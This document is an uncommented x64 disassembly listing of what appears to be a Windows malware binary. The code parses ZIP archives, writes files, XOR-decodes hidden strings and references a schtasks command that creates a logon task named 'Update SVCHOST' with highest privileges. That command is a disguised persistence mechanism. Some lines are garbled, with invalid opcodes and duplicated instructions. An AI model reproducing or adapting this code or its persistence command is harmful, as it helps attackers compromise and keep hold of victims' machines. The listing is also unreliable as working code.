mov r8d, 0x10
mov cl, 0x27
lea rdx, str.Invalid_checksumincomplete_frame
call fcn.1400fc4f0
mov r14, rax
mov eax, r14d
and eax, 3
lea rcx, [0x140187bf0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea rbp, [rsp + 0xb100]
jmp rax
cmp rdi, 0x2001
lea rbp, [rsp + 0xb100]
jb 0x1400c6e5b
jmp case.0x1400c627f.0
lea rbp, [rsp + 0xb100]
test r14, r14
je 0x1400c718c
mov eax, r14d
and eax, 3
lea rcx, [0x140187bf0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor edi, edi
lea r13, [rsp + 0x1d0]
jmp 0x1400c6e3e
call fcn.1400fc610
mov r14, rax
and eax, 3
lea rcx, [0x140187bf0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea r13, [rsp + 0x1d0]
jmp rax
mov r8d, 0x10
mov cl, 0x25
lea rdx, [0x1401da760]
call fcn.1400fc4f0
mov r14, rax
and eax, 3
lea rcx, [0x140187bf0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea rbp, [rsp + 0xb100]
jmp rax
xor edi, edi
test rdi, rdi
sete al
not bl
test bl, al
jne 0x1400c6f52
cmp rdi, 0x2001
jae case.0x1400c627f.0
add qword [rsp + 0x308], rdi
cmp dword [rsp + 0x300], 0
je 0x1400c6e81
mov ecx, dword [rsp + 0x304]
mov rdx, rbp
mov r8, rdi
call fcn.140009690
jmp 0x1400c6e93
mov ecx, dword [rsp + 0x304]
mov rdx, rbp
mov r8, rdi
call fcn.140009220
mov dword [rsp + 0x304], eax
cmp rdi, 0x2001
mov esi, 0x2000
cmovae rsi, rdi
test rdi, rdi
je 0x1400c718c
mov rbx, rbp
nop word cs:[rax + rax]
movaps xmmword [rsp + 0x1d0], xmm12
mov eax, 0xffffffff
cmp rdi, rax
cmovb rax, rdi
movdqu xmmword [rsp + 0x38], xmm6
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
mov rcx, r12
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.ntdll.dll_NtWriteFile
cmp eax, 0x103
jne 0x1400c6f1f
mov rcx, r12
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [rsp + 0x1d0]
cmp eax, 0x103
add dword [rax], eax
add byte [rdi], cl
test ch, ah
invalid
add byte [rax], al
add dword [rax], eax
add byte [rdi], cl
test ch, ah
invalid
test eax, eax
js 0x1400c73f7
mov rax, qword [rsp + 0x1d8]
test rax, rax
je case.0x1400c627f.0
cmp rdi, rax
jb case.0x1400c627f.0
add rbx, rax
sub rdi, rax
jne 0x1400c6ec0
jmp 0x1400c49ef
mov r8d, 0x10
mov cl, 0x27
lea rdx, str.Invalid_checksumincomplete_frame
call fcn.1400fc4f0
mov r14, rax
and eax, 3
lea rcx, [0x140187bf0]
or eax, 0xc0c7d
or eax, 0xc0c7d
jge 0x1400c6f7d
or al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r8d, 0x2a
mov eax, 0x2a
mov cl, 0x25
lea rdx, [0x1401da688]
call fcn.1400fc4f0
mov r14, rax
and eax, 3
lea rcx, [0x140187bf0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea r13, [rsp + 0x1d0]
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x1400c627f.0
mov rdi, qword [r14 - 1]
mov rsi, qword [r14 + 7]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
cmp dword [rsi + 8], 0
cmp dword [rsi + 8], 0
je 0x1400c6fe9
cmp qword [rsi + 0x10], 0x11
jb 0x1400c6fd8
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rdi
call fcn.140104a84
dec r14
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, r14
call fcn.140104a84
mov esi, 0x2000
jmp 0x1400c49ef
shr r14, 0x20
mov esi, 0x2000
cmp r14d, 0x23
je 0x1400c49ef
jmp case.0x1400c627f.0
mov dword [rsp + 0x58], r8d
mov r14, r9
mov qword [rsp + 0x68], r10
mov rsi, r11
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x108], rdx
call fcn.1400e4e70
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x110]
mov r11, rsi
mov r10, qword [rsp + 0x68]
mov r9, r14
mov r8d, dword [rsp + 0x58]
jmp 0x1400c4c80
call fcn.1400e4e70
jmp 0x1400c4df4
call fcn.1400e4e70
mov r10, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r9, qword [rsp + 0x60]
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov qword [rsp + 0xa8], rdx
test al, 2
jne 0x1400c5029
jmp 0x1400c5047
mov rdi, rsi
mov rsi, r11
mov r14, r10
call fcn.1400e4e70
mov r10, r14
mov r11, rsi
mov rsi, rdi
mov edx, dword [rsp + 0x58]
xor ecx, ecx
mov qword [rsp + 0xa8], rcx
test al, 2
jne 0x1400c5a0a
jmp 0x1400c5a28
cmp edx, 1
je 0x1400c633e
jmp 0x1400c6354
mov dword [rsp + 0x58], r8d
mov rsi, r9
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x108], rdx
call fcn.1400e4e70
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x110]
mov r11, qword [rsp + 0x70]
mov r10, qword [rsp + 0x68]
mov r9, rsi
mov r8d, dword [rsp + 0x58]
jmp 0x1400c52fb
call fcn.1400e4e70
mov r11, qword [rsp + 0x70]
mov r10, qword [rsp + 0x68]
mov r9, qword [rsp + 0x60]
mov edx, dword [rsp + 0x58]
jmp 0x1400c4e25
call fcn.1400e4e70
mov r10, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r9, qword [rsp + 0x60]
mov r8d, dword [rsp + 0x58]
jmp 0x1400c5039
mov rdi, rsi
mov rsi, r11
mov r14, r10
call fcn.1400e4e70
mov r10, r14
mov r11, rsi
mov rsi, rdi
mov edx, dword [rsp + 0x58]
jmp 0x1400c5a1a
mov rcx, r12
call sub.kernel32.dll_CloseHandle
mov rsi, qword [rsp + 0x180]
mov rbx, qword [rsp + 0x5d0]
cmp qword [rsp + 0x1b0], 0
lea rdi, [rsp + 0x2b0]
je 0x1400c71c8
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rbx
call fcn.140104a84
lea rcx, [rsp + 0x2f8]
call fcn.1400c89a0
cmp rsi, qword [rsp + 0x5e0]
jne 0x1400c402b
jmp 0x1400c3c4d
lea r15, [rsp + 0x688]
lea rbp, [rsp + 0xb100]
lea r13, [rsp + 0x1d0]
lea r12, [rsp + 0x820]
mov rsi, qword [rsp + 0x1b0]
jmp 0x1400c4898
cmp rax, rcx
ja 0x1400c724e
movdqu xmm0, xmmword [rdi + rax]
movdqa xmm1, xmm0
paddq xmm1, xmm7
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rdx, xmm1
movabs r8, 0x8080808080808080
test rdx, r8
jne 0x1400c724e
add rax, 0x10
jmp 0x1400c7215
cmp rax, rsi
je 0x1400c7265
cmp byte [rdi + rax], 0
je case.0x1400c4445.0
inc rax
cmp rsi, rax
jne case.default.0x1400c729f
mov rcx, rbp
mov rdx, rdi
mov r8, rsi
call fcn.1400e2b10
movzx ecx, byte [rsp + 0xb100]
mov rax, qword [rsp + 0xb110]
mov rdx, qword [rsp + 0xb120]
lea r8, [0x140187b58]
movsxd r9, dword [r8 + rcx*4]
add r9, r8
mov rcx, rsi
mov r8, rdi
jmp r9
add rax, 4
jmp 0x1400c72dc
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 8
jmp 0x1400c72dc
mov eax, 6
jmp 0x1400c72dc
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 2
jmp 0x1400c72dc
mov eax, 2
mov rcx, rsi
sub rcx, rax
jb case.0x1400c627f.0
add rax, rdi
mov r8, rax
test rcx, rcx
je 0x1400c7305
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x1400c7307
xor eax, eax
mov qword [rsp + 0x820], rdi
mov qword [rsp + 0x1b0], rsi
mov qword [rsp + 0x828], rsi
mov rcx, qword [rsp + 0xb120]
lea rdx, [rsp + 0x830]
mov qword [rdx + 0x20], rcx
movdqu xmm0, xmmword [rsp + 0xb100]
movdqu xmm1, xmmword [rsp + 0xb110]
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov byte [rsp + 0x85a], al
mov word [rsp + 0x858], 0x200
xor esi, esi
jmp case.0x1400c4445.2
test rsi, rsi
je case.0x1400c627f.0
mov qword [rsp + 0x2f8], rsi
lea rax, [rsp + 0x2f8]
mov qword [rsp + 0xb100], rax
lea rax, [fcn.1400dd870]
mov qword [rsp + 0xb108], rax
lea rax, str.Invalid_checksumincomplete_frame
mov qword [rsp + 0x820], rax
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x830], r14
mov qword [rsp + 0x838], 1
lea rcx, [rsp + 0x820]
call fcn.1400d50a0
mov rcx, qword [rsp + 0x2f8]
call fcn.1400c8930
call fcn.14001b130
call fcn.1400dac70
ud2
mov ecx, eax
call sub.ntdll.dll_RtlNtStatusToDosError
ud2
mov eax, dword [rsp + 0x850]
mov dword [rsp + 0x688], eax
lea rax, [rsp + 0x688]
mov qword [rsp + 0x1d0], rax
lea rax, [0x1400066c0]
mov qword [rsp + 0x1d8], rax
lea rax, [0x1401b57d0]
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 2
mov qword [rsp + 0x318], 0
lea r14, [rsp + 0x1d0]
mov qword [rsp + 0x308], r14
mov qword [rsp + 0x310], 1
lea rcx, [rsp + 0x2f8]
call fcn.1400d50a0
lea rsi, [rsp + 0x820]
mov rcx, rsi
call fcn.1400c88c0
lea rax, [0x1401abbb8]
mov qword [rsp + 0x820], rax
mov rcx, qword [rsp + 0x820]
movabs rax, 0x799565441cdb61d3
mov qword [rsp + 0x820], rax
mov rdx, qword [rsp + 0x820]
call fcn.1400cfce0
movq xmm0, qword [rax]
movq xmm1, qword [rax + 8]
punpcklqdq xmm0, xmm1
movq xmm1, qword [rax + 0x10]
movq xmm2, qword [rax + 0x18]
punpcklqdq xmm1, xmm2
pxor xmm1, xmmword [0x140187b10]
pxor xmm0, xmmword [str._tdz_t_f__]
movdqu xmmword [rsp + 0x2f8], xmm0
movdqu xmmword [rsp + 0x308], xmm1
lea rdi, [rsp + 0x820]
lea rdx, [rsp + 0x2f8]
mov rcx, rdi
call fcn.1400ca830
lea rdx, str._create_tn_Update_SVCHOST_sc_ONLOGON_rl_HIGHEST_tr
mov r8d, 7
mov rcx, rdi
call fcn.1400ca760
lea rdx, [0x1401b57f7]
mov r8d, 0x12
mov rcx, rdi
call fcn.1400ca760
lea rdx, [0x1401b5809]
mov r8d, 0xb
mov rcx, rdi
call fcn.1400ca760
lea rdx, [0x1401b5814]
mov r8d, 0xb
mov rcx, rdi
call fcn.1400ca760
lea rcx, [rsp + 0x2f8]
call fcn.1400d2700
cmp byte [rsp + 0x310], 2
je case.0x1400c627f.0
mov rdi, qword [rsp + 0x2f8]
mov rbx, qword [rsp + 0x300]
mov r8, qword [rsp + 0x308]
lea rcx, [rsp + 0x2f8]
mov rdx, rdi
call fcn.140007f90
cmp qword [rsp + 0x2f8], 0
jne case.0x1400c627f.0
mov rax, qword [rsp + 0x300]
mov rcx, qword [rsp + 0x308]
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], rcx
mov qword [rsp + 0x688], r14
lea rax, [0x1400e2490]
mov qword [rsp + 0x690], rax
lea rax, [0x1401b5828]
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 1
mov qword [rsp + 0x318], 0
lea rax, [rsp + 0x688]
mov qword [rsp + 0x308], rax
mov qword [rsp + 0x310], 1
lea rsi, [rsp + 0x808]
lea rdx, [rsp + 0x2f8]
mov rcx, rsi
call fcn.1400c87f0
mov rcx, rdi
mov rdx, rbx
call fcn.1400c8910
lea rcx, [rsp + 0x820]
mov rdx, rsi
call fcn.1400ca670
call fcn.14001b130
call fcn.1400dac70
ud2
mov ecx, eax
call sub.ntdll.dll_RtlNtStatusToDosError
shl rax, 0x20
lea rcx, [rax + 2]
call fcn.1400db210
ud2
cmp rbx, 7
ja 0x1400c77cd
xor eax, eax
cmp rbx, 4
setae al
lea rsi, [rax*4 + 4]
jmp 0x1400c7822
cmp qword [rsp + 0x100], 0
jne 0x1400c78c3
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x830], rax
movups xmm0, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0x820], xmm0
movdqu xmm0, xmmword [rsp + 0x1d0]
movdqu xmm1, xmmword [rsp + 0x1e0]
movdqu xmm2, xmmword [rsp + 0x1f0]
movdqu xmmword [rsp + 0x838], xmm0
movdqu xmmword [rsp + 0x848], xmm1
movdqu xmmword [rsp + 0x858], xmm2
movzx eax, byte [0x1401ee110]
mov ecx, 0x78
mov edx, 8
call fcn.140002420
mov qword [rsp + 0x48], rax
test rax, rax
je case.0x1400c627f.0
mov rcx, qword [rsp + 0x48]
mov qword [rcx], 1
mov qword [rcx + 8], 1
movdqa xmm0, xmmword [rsp + 0x820]
movdqa xmm1, xmmword [rsp + 0x830]
movdqa xmm2, xmmword [rsp + 0x840]
movaps xmm3, xmmword [rsp + 0x850]
movdqu xmmword [rcx + 0x10], xmm0
movdqu xmmword [rcx + 0x20], xmm1
movdqu xmmword [rcx + 0x30], xmm2
movups xmmword [rcx + 0x40], xmm3
mov rax, qword [rsp + 0x860]
mov qword [rcx + 0x50], rax
mov rax, qword [rsp + 0xa8]
mov qword [rcx + 0x58], rax
mov rax, qword [rsp + 0x118]
mov qword [rcx + 0x60], rax
mov rax, qword [rsp + 0xf8]
mov qword [rcx + 0x68], rax
mov rax, qword [rsp + 0xd8]
mov qword [rcx + 0x70], rax
mov r14, qword [rsp + 0x98]
jmp 0x1400c3c1b
shl rbx, 3
mov esi, 1
cmp rbx, 0xe
jb 0x1400c7822
movabs rcx, 0x2492492492492493
mov rax, rbx
mul rcx
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 2
dec rbx
bsr rcx, rbx
not ecx
mov rsi, 0xffffffffffffffff
shr rsi, cl
movabs rax, 0x7fffffffffffffe
cmp rsi, rax
ja case.0x1400c627f.0
inc rsi
mov r15, rsi
shl r15, 5
lea rbx, [rsi + 0x10]
mov r14, r15
add r14, rbx
jb case.0x1400c627f.0
movabs rax, 0x8000000000000001
add rax, 0xffffffffffffffef
cmp r14, rax
ja case.0x1400c627f.0
movzx eax, byte [0x1401ee110]
mov rcx, qword [0x1401ee100]
test rcx, rcx
jne 0x1400c787b
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov rcx, rax
mov qword [0x1401ee100], rax
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapAlloc
test rax, rax
je case.0x1400c627f.0
mov r14, rax
lea r13, [rsi - 1]
mov rax, rsi
shr rax, 3
mov r12, rsi
and r12, 0xfffffffffffffff8
sub r12, rax
cmp rsi, 9
cmovb r12, r13
add r14, r15
mov rcx, r14
mov dl, 0xff
mov r8, rbx
call sub.msvcrt.dll_memset
jmp 0x1400c39ea
lea r15, [rsp + 0x820]
lea r13, [rsp + 0x98]
pcmpeqd xmm6, xmm6
xor ebp, ebp
jmp 0x1400c7941
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x138]
imul rcx, rbx, 0xb0
mov dword [rax + rcx], edi
mov r8d, dword [rsp + 0x158]
mov dword [rax + rcx + 4], r8d
mov qword [rax + rcx + 8], rsi
mov qword [rax + rcx + 0x10], rdx
mov qword [rax + rcx + 0x18], r14
add rcx, rax
add rcx, 0x20
mov r8d, 0x90
lea rdx, [rsp + 0x2f8]
call sub.msvcrt.dll_memcpy
inc rbx
mov qword [rsp + 0x148], rbx
cmp rbp, qword [rsp + 0x100]
je 0x1400c76c0
mov qword [rsp + 0x820], 0
mov rcx, qword [rsp + 0x98]
xor edx, edx
mov r8, r15
mov r9d, 1
call sub.kernel32.dll_SetFilePointerEx
test eax, eax
je 0x1400c8558
mov rsi, qword [rsp + 0x820]
mov dword [rsp + 0x820], 0
mov r8d, 4
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
cmp dword [rsp + 0x820], 0x2014b50
jne 0x1400c86e8
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
movzx eax, word [rsp + 0x820]
mov dword [rsp + 0xf0], eax
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
movzx eax, word [rsp + 0x820]
mov dword [rsp + 0xc0], eax
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
movzx eax, word [rsp + 0x820]
mov word [rsp + 0xe0], ax
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
movzx edi, word [rsp + 0x820]
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
movzx ebx, word [rsp + 0x820]
mov dword [rsp + 0x820], 0
mov r8d, 4
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
mov r12d, dword [rsp + 0x820]
mov dword [rsp + 0x820], 0
mov r8d, 4
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
mov eax, dword [rsp + 0x820]
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0x820], 0
mov r8d, 4
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
mov eax, dword [rsp + 0x820]
mov qword [rsp + 0xb0], rax
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
mov dword [rsp + 0x120], r12d
mov dword [rsp + 0x128], ebx
movzx ebx, word [rsp + 0x820]
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
mov dword [rsp + 0x168], edi
movzx eax, word [rsp + 0x820]
mov qword [rsp + 0x48], rax
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
movzx edi, word [rsp + 0x820]
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
mov word [rsp + 0x820], 0
mov r8d, 2
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
mov qword [rsp + 0x160], rsi
mov dword [rsp + 0x820], 0
mov r8d, 4
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
mov r12d, dword [rsp + 0x820]
mov dword [rsp + 0x820], 0
mov r8d, 4
mov rcx, r13
mov rdx, r15
call fcn.1400ca290
test rax, rax
jne 0x1400c8565
mov esi, dword [rsp + 0x820]
mov rcx, rbx
mov dl, 1
call fcn.1400c9c40
mov qword [rsp + 0xa0], rdx
mov rcx, r13
mov qword [rsp + 0x80], rax
mov rdx, rax
mov r8, rbx
call fcn.1400ca290
test rax, rax
je 0x1400c7cd7
mov qword [rsp + 0x48], rax
xor esi, esi
jmp 0x1400c817f
mov qword [rsp + 0x60], rsi
mov rsi, qword [rsp + 0x48]
mov rcx, rsi
mov dl, 1
call fcn.1400c9c40
mov qword [rsp + 0x58], rdx
mov rcx, r13
mov qword [rsp + 0x68], rax
mov rdx, rax
mov r8, rsi
call fcn.1400ca290
test rax, rax
je 0x1400c7d19
mov qword [rsp + 0x48], rax
xor esi, esi
mov rbx, qword [rsp + 0x58]
jmp 0x1400c8167
mov rcx, rdi
mov dl, 1
call fcn.1400c9c40
mov qword [rsp + 0xe8], rdx
mov rcx, r13
mov qword [rsp + 0x70], rax
mov rdx, rax
mov r8, rdi
call fcn.1400ca290
mov r13, rax
test rax, rax
je 0x1400c7d57
mov qword [rsp + 0x48], r13
xor esi, esi
mov rbx, qword [rsp + 0x58]
jmp 0x1400c8140
mov qword [rsp + 0x130], r13
mov r13d, dword [rsp + 0xc0]
mov rcx, r15
test r13d, 0x800
jne 0x1400c7dca
mov rdx, qword [rsp + 0x80]
mov r8, rbx
call fcn.1400cfc00
lea rcx, [rsp + 0x290]
mov rdx, r15
call fcn.1400fc8f0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x820], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x828], rax
mov qword [rsp + 0x830], rdi
lea rcx, [rsp + 0x2b0]
mov rdx, r15
call fcn.1400fc8f0
jmp 0x1400c7e0a
mov rdx, qword [rsp + 0x80]
mov r8, rbx
call fcn.140002680
lea rcx, [rsp + 0x290]
mov rdx, r15
call fcn.1400ca5d0
mov rcx, r15
mov rdx, qword [rsp + 0x70]
mov r8, rdi
call fcn.140002680
lea rcx, [rsp + 0x2b0]
mov rdx, r15
call fcn.1400ca5d0
movzx edx, word [rsp + 0xe0]
mov eax, dword [rsp + 0xf0]
shr eax, 8
cmp al, 3
sete cl
mov r8b, 4
sub r8b, cl
test al, al
movzx ecx, r8b
mov eax, 0
cmove ecx, eax
mov ax, 5
cmp edx, 0xb
jle 0x1400c7e7d
cmp edx, 0xc
je 0x1400c7ea1
cmp edx, 0x5d
je 0x1400c7ea7
cmp edx, 0x63
lea r15, [rsp + 0x820]
mov r13d, dword [rsp + 0xc0]
mov r9, qword [rsp + 0xb8]
mov r10, qword [rsp + 0xb0]
mov r11, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x48]
jne 0x1400c7eee
mov ax, 3
jmp 0x1400c7eee
test edx, edx
je 0x1400c7ed7
cmp edx, 8
mov r9, qword [rsp + 0xb8]
mov r10, qword [rsp + 0xb0]
mov r11, qword [rsp + 0x60]
jne 0x1400c7eee
mov ax, 1
jmp 0x1400c7eee
mov ax, 2
jmp 0x1400c7eab
mov ax, 4
lea r15, [rsp + 0x820]
mov r13d, dword [rsp + 0xc0]
mov r9, qword [rsp + 0xb8]
mov r10, qword [rsp + 0xb0]
mov r11, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x48]
jmp 0x1400c7eee
xor eax, eax
mov r9, qword [rsp + 0xb8]
mov r10, qword [rsp + 0xb0]
mov r11, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x2a0]
lea r8, [rsp + 0x828]
mov qword [r8 + 0x10], rdx
movups xmm0, xmmword [rsp + 0x290]
movups xmmword [r8], xmm0
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x840], rdx
mov rdx, qword [rsp + 0xa0]
mov qword [rsp + 0x848], rdx
mov qword [rsp + 0x850], rbx
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x858], rdx
mov rbx, qword [rsp + 0x58]
mov qword [rsp + 0x860], rbx
mov qword [rsp + 0x868], rsi
mov rdx, qword [rsp + 0x2c0]
mov qword [r8 + 0x58], rdx
movdqu xmm0, xmmword [rsp + 0x2b0]
movdqu xmmword [r8 + 0x48], xmm0
mov byte [rsp + 0x8c9], cl
mov ecx, dword [rsp + 0xf0]
mov byte [rsp + 0x8ca], cl
mov ecx, r13d
and cl, 1
mov byte [rsp + 0x8c6], cl
mov ecx, r13d
shr cl, 3
and cl, 1
mov byte [rsp + 0x8c7], cl
mov word [rsp + 0x8b8], ax
mov edx, dword [rsp + 0x128]
movzx eax, dx
movzx ecx, word [rsp + 0xe0]
mov word [rsp + 0x8ba], cx
mov ecx, eax
shr ecx, 9
add ecx, 0x7bc
mov dword [rsp + 0x820], 0
mov word [rsp + 0x888], cx
mov ecx, edx
shr ecx, 5
and cl, 0xf
mov byte [rsp + 0x88a], cl
mov edx, dword [rsp + 0x168]
movzx ecx, dx
and al, 0x1f
mov byte [rsp + 0x88b], al
mov eax, ecx
shr eax, 0xb
mov byte [rsp + 0x88c], al
mov eax, edx
shr eax, 5
and al, 0x3f
mov byte [rsp + 0x88d], al
add cl, cl
and cl, 0x3e
mov byte [rsp + 0x88e], cl
mov eax, dword [rsp + 0x120]
mov dword [rsp + 0x8bc], eax
mov qword [rsp + 0x890], r9
mov qword [rsp + 0x898], r10
mov qword [rsp + 0x8a0], r11
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x8a8], rax
mov qword [rsp + 0x8b0], 0
mov dword [rsp + 0x8c0], r12d
mov byte [rsp + 0x8c8], 0
mov byte [rsp + 0x8c5], 2
lea rcx, [rsp + 0x688]
mov rdx, r15
call fcn.1400fc190
mov rsi, qword [rsp + 0x688]
test rsi, rsi
je 0x1400c80c0
cmp esi, 4
je 0x1400c80cd
mov rax, qword [rsp + 0x690]
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0x698]
jmp 0x1400c8123
mov rcx, qword [rsp + 0x690]
call fcn.1400c9b50
cmp word [rsp + 0x8b8], 3
mov esi, 1
jne 0x1400c80fb
mov r14d, 0x2b
cmp byte [rsp + 0x8c5], 2
jne 0x1400c80fb
lea rax, [0x1401b599b]
mov qword [rsp + 0x48], rax
jmp 0x1400c8123
mov rax, qword [rsp + 0x8a0]
mov r14d, 0x1b
lea rcx, [0x1401b5980]
mov qword [rsp + 0x48], rcx
add rax, qword [rsp + 0xd8]
jae 0x1400c848f
mov rcx, r15
call fcn.1400c9bc0
test r13d, 0x800
mov r13, qword [rsp + 0x130]
je 0x1400c856c
cmp qword [rsp + 0xe8], 0
je 0x1400c815e
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.140104a84
test r13, r13
je 0x1400c856c
test rbx, rbx
je 0x1400c817f
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, qword [rsp + 0x68]
call fcn.140104a84
mov edi, 2
cmp qword [rsp + 0xa0], 0
je 0x1400c856c
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, qword [rsp + 0x80]
call fcn.140104a84
cmp edi, 2
je 0x1400c856c
mov r8d, 0x90
lea rcx, [rsp + 0x2f8]
lea rdx, [rsp + 0xb100]
call sub.msvcrt.dll_memcpy
test r14, r14
je 0x1400c821a
js case.0x1400c627f.0
movzx eax, byte [0x1401ee110]
mov rax, qword [0x1401ee100]
test rax, rax
jne 0x1400c8200
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov qword [0x1401ee100], rax
mov rcx, rax
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapAlloc
mov r12, rax
test rax, rax
jne 0x1400c8220
jmp case.0x1400c627f.0
mov r12d, 1
mov dword [rsp + 0xe0], edi
mov rcx, r12
mov qword [rsp + 0xa0], rsi
mov rdx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x7b0], xmm0
lea rcx, [rsp + 0x7b0]
mov rdx, r12
mov r8, r14
call fcn.1400c9d90
mov rbx, rax
cmp qword [rsp + 0x1e0], 0
je 0x1400c8475
inc rbp
mov qword [rsp + 0xf0], rbp
mov r15, qword [rsp + 0x1d0]
mov rbp, qword [rsp + 0x1d8]
mov rax, rbx
shr rax, 0x39
mov qword [rsp + 0xb8], rax
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x80], rax
xor esi, esi
and rbx, rbp
movdqu xmm8, xmmword [r15 + rbx]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb edi, xmm0
test di, di
je 0x1400c831b
mov eax, edi
lea edi, [rax - 1]
and edi, eax
tzcnt eax, eax
add rax, rbx
and rax, rbp
shl rax, 5
mov r13, r15
sub r13, rax
cmp r14, qword [r13 - 0x10]
jne 0x1400c82e0
mov rdx, qword [r13 - 0x20]
mov rcx, r12
mov r8, r14
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x1400c82e0
jmp 0x1400c8377
cmp rsi, 1
mov esi, 1
je 0x1400c8345
pmovmskb eax, xmm8
xor esi, esi
test eax, eax
setne sil
tzcnt eax, eax
add rax, rbx
and rax, rbp
mov qword [rsp + 0xb0], rax
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x1400c83eb
mov rax, qword [rsp + 0x80]
add rbx, rax
add rbx, 0x10
add rax, 0x10
mov qword [rsp + 0x80], rax
jmp 0x1400c82ca
mov rbx, qword [rsp + 0xc0]
mov qword [r13 - 8], rbx
test r14, r14
mov rsi, qword [rsp + 0xa0]
mov edi, dword [rsp + 0xe0]
je 0x1400c83a8
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, r12
call fcn.140104a84
cmp rbx, qword [rsp + 0x140]
lea r15, [rsp + 0x820]
